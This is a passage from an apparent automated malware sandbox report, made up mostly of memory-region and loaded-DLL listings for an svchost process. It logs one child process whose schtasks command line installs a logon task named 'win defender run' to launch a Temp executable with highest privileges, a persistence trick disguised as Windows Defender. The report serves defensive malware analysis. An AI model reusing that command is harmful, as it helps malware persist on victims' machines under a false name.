"private_0x000001e6d0ee0000" filename = "" Region: id = 1409 start_va = 0x1e6d0ef0000 end_va = 0x1e6d0ef0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e6d0ef0000" filename = "" Region: id = 1410 start_va = 0x1e6d0f00000 end_va = 0x1e6d0f00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d0f00000" filename = "" Region: id = 1411 start_va = 0x1e6d0fc0000 end_va = 0x1e6d0fc6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d0fc0000" filename = "" Region: id = 1412 start_va = 0x1e6d1000000 end_va = 0x1e6d10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1000000" filename = "" Region: id = 1413 start_va = 0x1e6d1190000 end_va = 0x1e6d128ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1190000" filename = "" Region: id = 1414 start_va = 0x1e6d12b0000 end_va = 0x1e6d12b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d12b0000" filename = "" Region: id = 1415 start_va = 0x1e6d1300000 end_va = 0x1e6d13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1300000" filename = "" Region: id = 1416 start_va = 0x1e6d1400000 end_va = 0x1e6d14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1400000" filename = "" Region: id = 1417 start_va = 0x1e6d1500000 end_va = 0x1e6d15fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1500000" filename = "" Region: id = 1418 start_va = 0x1e6d1600000 end_va = 0x1e6d16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1600000" filename = "" Region: id = 1419 start_va = 0x1e6d1700000 end_va = 0x1e6d1a36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1420 start_va = 0x1e6d1a40000 end_va = 0x1e6d1b1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1421 start_va = 0x1e6d1c00000 end_va = 0x1e6d1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1c00000" filename = "" Region: id = 1422 start_va = 0x1e6d1d00000 end_va = 0x1e6d1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1d00000" filename = "" Region: id = 1423 start_va = 0x1e6d1e00000 end_va = 0x1e6d1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1e00000" filename = "" Region: id = 1424 start_va = 0x1e6d1f00000 end_va = 0x1e6d1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d1f00000" filename = "" Region: id = 1425 start_va = 0x1e6d2000000 end_va = 0x1e6d20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d2000000" filename = "" Region: id = 1426 start_va = 0x1e6d2100000 end_va = 0x1e6d21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d2100000" filename = "" Region: id = 1427 start_va = 0x1e6d2200000 end_va = 0x1e6d22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d2200000" filename = "" Region: id = 1428 start_va = 0x1e6d2300000 end_va = 0x1e6d23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e6d2300000" filename = "" Region: id = 1429 start_va = 0x7df5ff1c0000 end_va = 0x7ff5ff1bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff1c0000" filename = "" Region: id = 1430 start_va = 0x7ff65ab90000 end_va = 0x7ff65ac8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff65ab90000" filename = "" Region: id = 1431 start_va = 0x7ff65ac90000 end_va = 0x7ff65acb2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff65ac90000" filename = "" Region: id = 1432 start_va = 0x7ff65b180000 end_va = 0x7ff65b18cfff monitored = 0 entry_point = 0x7ff65b183980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1433 start_va = 0x7fffd6850000 end_va = 0x7fffd6882fff monitored = 0 entry_point = 0x7fffd685ae20 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 1434 start_va = 0x7fffd91e0000 end_va = 0x7fffd9397fff monitored = 0 entry_point = 0x7fffd91e5550 region_type = mapped_file name = "wmalfxgfxdsp.dll" filename = "\\Windows\\System32\\WMALFXGFXDSP.dll" (normalized: "c:\\windows\\system32\\wmalfxgfxdsp.dll") Region: id = 1435 start_va = 0x7fffda8d0000 end_va = 0x7fffda957fff monitored = 0 entry_point = 0x7fffda8e4510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 1436 start_va = 0x7fffdbe90000 end_va = 0x7fffdbf85fff monitored = 0 entry_point = 0x7fffdbec9590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1437 start_va = 0x7fffdc1c0000 end_va = 0x7fffdc1d0fff monitored = 0 entry_point = 0x7fffdc1c2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1438 start_va = 0x7fffdf030000 end_va = 0x7fffdf0aefff monitored = 0 entry_point = 0x7fffdf047110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1439 start_va = 0x7fffe4830000 end_va = 0x7fffe485afff monitored = 0 entry_point = 0x7fffe483c3c0 region_type = mapped_file name = "rtworkq.dll" filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll") Region: id = 1440 start_va = 0x7fffe4860000 end_va = 0x7fffe496cfff monitored = 0 entry_point = 0x7fffe488f420 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 1441 start_va = 0x7fffe5570000 end_va = 0x7fffe557dfff monitored = 0 entry_point = 0x7fffe5572e50 region_type = mapped_file name = "cmintegrator.dll" filename = "\\Windows\\System32\\cmintegrator.dll" (normalized: "c:\\windows\\system32\\cmintegrator.dll") Region: id = 1442 start_va = 0x7fffe5580000 end_va = 0x7fffe55b7fff monitored = 0 entry_point = 0x7fffe55868f0 region_type = mapped_file name = "wcmcsp.dll" filename = "\\Windows\\System32\\wcmcsp.dll" (normalized: "c:\\windows\\system32\\wcmcsp.dll") Region: id = 1443 start_va = 0x7fffe5660000 end_va = 0x7fffe56f8fff monitored = 0 entry_point = 0x7fffe567a090 region_type = mapped_file name = "wcmsvc.dll" filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll") Region: id = 1444 start_va = 0x7fffe5980000 end_va = 0x7fffe5a8afff monitored = 0 entry_point = 0x7fffe59c2610 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 1445 start_va = 0x7fffe5bb0000 end_va = 0x7fffe5bc9fff monitored = 0 entry_point = 0x7fffe5bb2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1446 start_va = 0x7fffe5bd0000 end_va = 0x7fffe5be5fff monitored = 0 entry_point = 0x7fffe5bd19f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1447 start_va = 0x7fffe5c90000 end_va = 0x7fffe5ca3fff monitored = 0 entry_point = 0x7fffe5c91800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1448 start_va = 0x7fffe5cb0000 end_va = 0x7fffe5d1ffff monitored = 0 entry_point = 0x7fffe5cd2960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 1449 start_va = 0x7fffe5d70000 end_va = 0x7fffe5da7fff monitored = 0 entry_point = 0x7fffe5d88cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1450 start_va = 0x7fffe6390000 end_va = 0x7fffe639afff monitored = 0 entry_point = 0x7fffe6391d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1451 start_va = 0x7fffe63a0000 end_va = 0x7fffe63e7fff monitored = 0 entry_point = 0x7fffe63aa1e0 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 1452 start_va = 0x7fffe6bf0000 end_va = 0x7fffe6c4cfff monitored = 0 entry_point = 0x7fffe6c02bf0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 1453 start_va = 0x7fffe6ea0000 end_va = 0x7fffe6fd5fff monitored = 0 entry_point = 0x7fffe6ecf350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1454 start_va = 0x7fffe8ae0000 end_va = 0x7fffe8c90fff monitored = 0 entry_point = 0x7fffe8b33690 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 1455 start_va = 0x7fffe8ca0000 end_va = 0x7fffe8cb0fff monitored = 0 entry_point = 0x7fffe8ca3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1456 start_va = 0x7fffe91c0000 end_va = 0x7fffe91d7fff monitored = 0 entry_point = 0x7fffe91c5910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1457 start_va = 0x7fffe9320000 end_va = 0x7fffe93e7fff monitored = 0 entry_point = 0x7fffe93613f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1458 start_va = 0x7fffe9ea0000 end_va = 0x7fffe9ee9fff monitored = 0 entry_point = 0x7fffe9eaac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 1459 start_va = 0x7fffea050000 end_va = 0x7fffea058fff monitored = 0 entry_point = 0x7fffea0519a0 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 1460 start_va = 0x7fffea060000 end_va = 0x7fffea06afff monitored = 0 entry_point = 0x7fffea061cd0 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 1461 start_va = 0x7fffeb310000 end_va = 0x7fffeb495fff monitored = 0 entry_point = 0x7fffeb35d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1462 start_va = 0x7fffeb500000 end_va = 0x7fffeb512fff monitored = 0 entry_point = 0x7fffeb502760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1463 start_va = 0x7fffeb7e0000 end_va = 0x7fffeb806fff monitored = 0 entry_point = 0x7fffeb7e7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1464 start_va = 0x7fffeb830000 end_va = 0x7fffeb8d9fff monitored = 0 entry_point = 0x7fffeb857910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1465 start_va = 0x7fffeb8e0000 end_va = 0x7fffeb9dffff monitored = 0 entry_point = 0x7fffeb920f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 1466 start_va = 0x7fffebc40000 end_va = 0x7fffebc71fff monitored = 0 entry_point = 0x7fffebc52340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1467 start_va = 0x7fffebdc0000 end_va = 0x7fffebde3fff monitored = 0 entry_point = 0x7fffebdc3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1468 start_va = 0x7fffebf60000 end_va = 0x7fffec053fff monitored = 0 entry_point = 0x7fffebf6a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1469 start_va = 0x7fffec1d0000 end_va = 0x7fffec1dbfff monitored = 0 entry_point = 0x7fffec1d27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1470 start_va = 0x7fffec2b0000 end_va = 0x7fffec2e0fff monitored = 0 entry_point = 0x7fffec2b7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1471 start_va = 0x7fffec520000 end_va = 0x7fffec53efff monitored = 0 entry_point = 0x7fffec525d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1472 start_va = 0x7fffec690000 end_va = 0x7fffec6ebfff monitored = 0 entry_point = 0x7fffec6a6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1473 start_va = 0x7fffec860000 end_va = 0x7fffec86afff monitored = 0 entry_point = 0x7fffec8619a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1474 start_va = 0x7fffec960000 end_va = 0x7fffec9b5fff monitored = 0 entry_point = 0x7fffec970bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1475 start_va = 0x7fffecaa0000 end_va = 0x7fffecaccfff monitored = 0 entry_point = 0x7fffecab9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1476 start_va = 0x7fffecc50000 end_va = 0x7fffecc78fff monitored = 0 entry_point = 0x7fffecc64530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1477 start_va = 0x7fffecdc0000 end_va = 0x7fffecdd3fff monitored = 0 entry_point = 0x7fffecdc52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1478 start_va = 0x7fffecde0000 end_va = 0x7fffece2afff monitored = 0 entry_point = 0x7fffecde35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1479 start_va = 0x7fffece30000 end_va = 0x7fffece3ffff monitored = 0 entry_point = 0x7fffece356e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1480 start_va = 0x7fffece40000 end_va = 0x7fffece4efff monitored = 0 entry_point = 0x7fffece43210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1481 start_va = 0x7fffece50000 end_va = 0x7fffed037fff monitored = 0 entry_point = 0x7fffece7ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1482 start_va = 0x7fffed740000 end_va = 0x7fffed7a9fff monitored = 0 entry_point = 0x7fffed776d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1483 start_va = 0x7fffed8f0000 end_va = 0x7fffed932fff monitored = 0 entry_point = 0x7fffed904b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1484 start_va = 0x7fffed940000 end_va = 0x7fffedb06fff monitored = 0 entry_point = 0x7fffed99db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1485 start_va = 0x7fffedb10000 end_va = 0x7fffedb95fff monitored = 0 entry_point = 0x7fffedb1d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1486 start_va = 0x7fffedba0000 end_va = 0x7fffedbfafff monitored = 0 entry_point = 0x7fffedbb38b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1487 start_va = 0x7fffedd80000 end_va = 0x7fffede26fff monitored = 0 entry_point = 0x7fffedd958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1488 start_va = 0x7fffede30000 end_va = 0x7fffeded6fff monitored = 0 entry_point = 0x7fffede3b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1489 start_va = 0x7fffef9f0000 end_va = 0x7fffefc6cfff monitored = 0 entry_point = 0x7fffefac4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1490 start_va = 0x7fffefd90000 end_va = 0x7fffefeabfff monitored = 0 entry_point = 0x7fffefdd02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1491 start_va = 0x7fffefeb0000 end_va = 0x7fffeff5cfff monitored = 0 entry_point = 0x7fffefec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1492 start_va = 0x7fffeff60000 end_va = 0x7ffff00b5fff monitored = 0 entry_point = 0x7fffeff6a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1493 start_va = 0x7ffff00c0000 end_va = 0x7ffff0180fff monitored = 0 entry_point = 0x7ffff00e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1494 start_va = 0x7ffff0340000 end_va = 0x7ffff04c5fff monitored = 0 entry_point = 0x7ffff038ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1495 start_va = 0x7ffff0530000 end_va = 0x7ffff0537fff monitored = 0 entry_point = 0x7ffff0531ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1496 start_va = 0x7ffff0540000 end_va = 0x7ffff05aafff monitored = 0 entry_point = 0x7ffff05590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1497 start_va = 0x7ffff05b0000 end_va = 0x7ffff06f2fff monitored = 0 entry_point = 0x7ffff05d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1498 start_va = 0x7ffff0700000 end_va = 0x7ffff079cfff monitored = 0 entry_point = 0x7ffff07078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1499 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2751 start_va = 0x1e6d1b20000 end_va = 0x1e6d1bf9fff monitored = 0 entry_point = 0x1e6d1b53c00 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 6003 start_va = 0x1e6d0f10000 end_va = 0x1e6d0f7efff monitored = 0 entry_point = 0x1e6d0f307c0 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Thread: id = 122 os_tid = 0xd0c Thread: id = 123 os_tid = 0x57c Thread: id = 124 os_tid = 0x1320 Thread: id = 125 os_tid = 0x131c Thread: id = 126 os_tid = 0x12bc Thread: id = 127 os_tid = 0xb3c Thread: id = 128 os_tid = 0x6e4 Thread: id = 129 os_tid = 0xae4 Thread: id = 130 os_tid = 0xb88 Thread: id = 131 os_tid = 0xbf8 Thread: id = 132 os_tid = 0x4e0 Thread: id = 133 os_tid = 0x4b0 Thread: id = 134 os_tid = 0x4ac Thread: id = 135 os_tid = 0x4a8 Thread: id = 136 os_tid = 0x48c Thread: id = 137 os_tid = 0x414 Thread: id = 138 os_tid = 0x3d0 Thread: id = 139 os_tid = 0x344 Thread: id = 140 os_tid = 0x2f4 Thread: id = 141 os_tid = 0x30c Thread: id = 142 os_tid = 0x2ac Thread: id = 143 os_tid = 0x180 Thread: id = 144 os_tid = 0x15c Thread: id = 145 os_tid = 0x38c Process: id = "10" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x4e0f7000" os_pid = "0x1208" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x27c" cmd_line = "\"schtasks\" /create /tn \"win defender run\" /sc ONLOGON /tr \"C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe\" /rl HIGHEST /f" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1543 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1544 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1545 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1546 start_va = 0x90000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1547 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1548 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1549 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1550 start_va = 0x230000 end_va = 0x261fff monitored = 1 entry_point = 0x2505b0 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe") Region: id = 1551 start_va = 0x270000 end_va = 0x426ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1552 start_va = 0x4270000 end_va = 0x4271fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 1553 start_va = 0x4400000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 1554 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1555 start_va = 0x7f050000 end_va = 0x7f072fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f050000" filename = "" Region: id = 1556 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1557 start_va = 0x7fff0000 end_va = 0x7dfff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1558 start_va = 0x7dfff07a0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfff07a0000" filename = "" Region: id = 1559 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1560 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 1561 start_va = 0x100000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1562 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1563 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1564 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1565 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1566 start_va = 0x4280000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004280000" filename = "" Region: id = 1567 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: 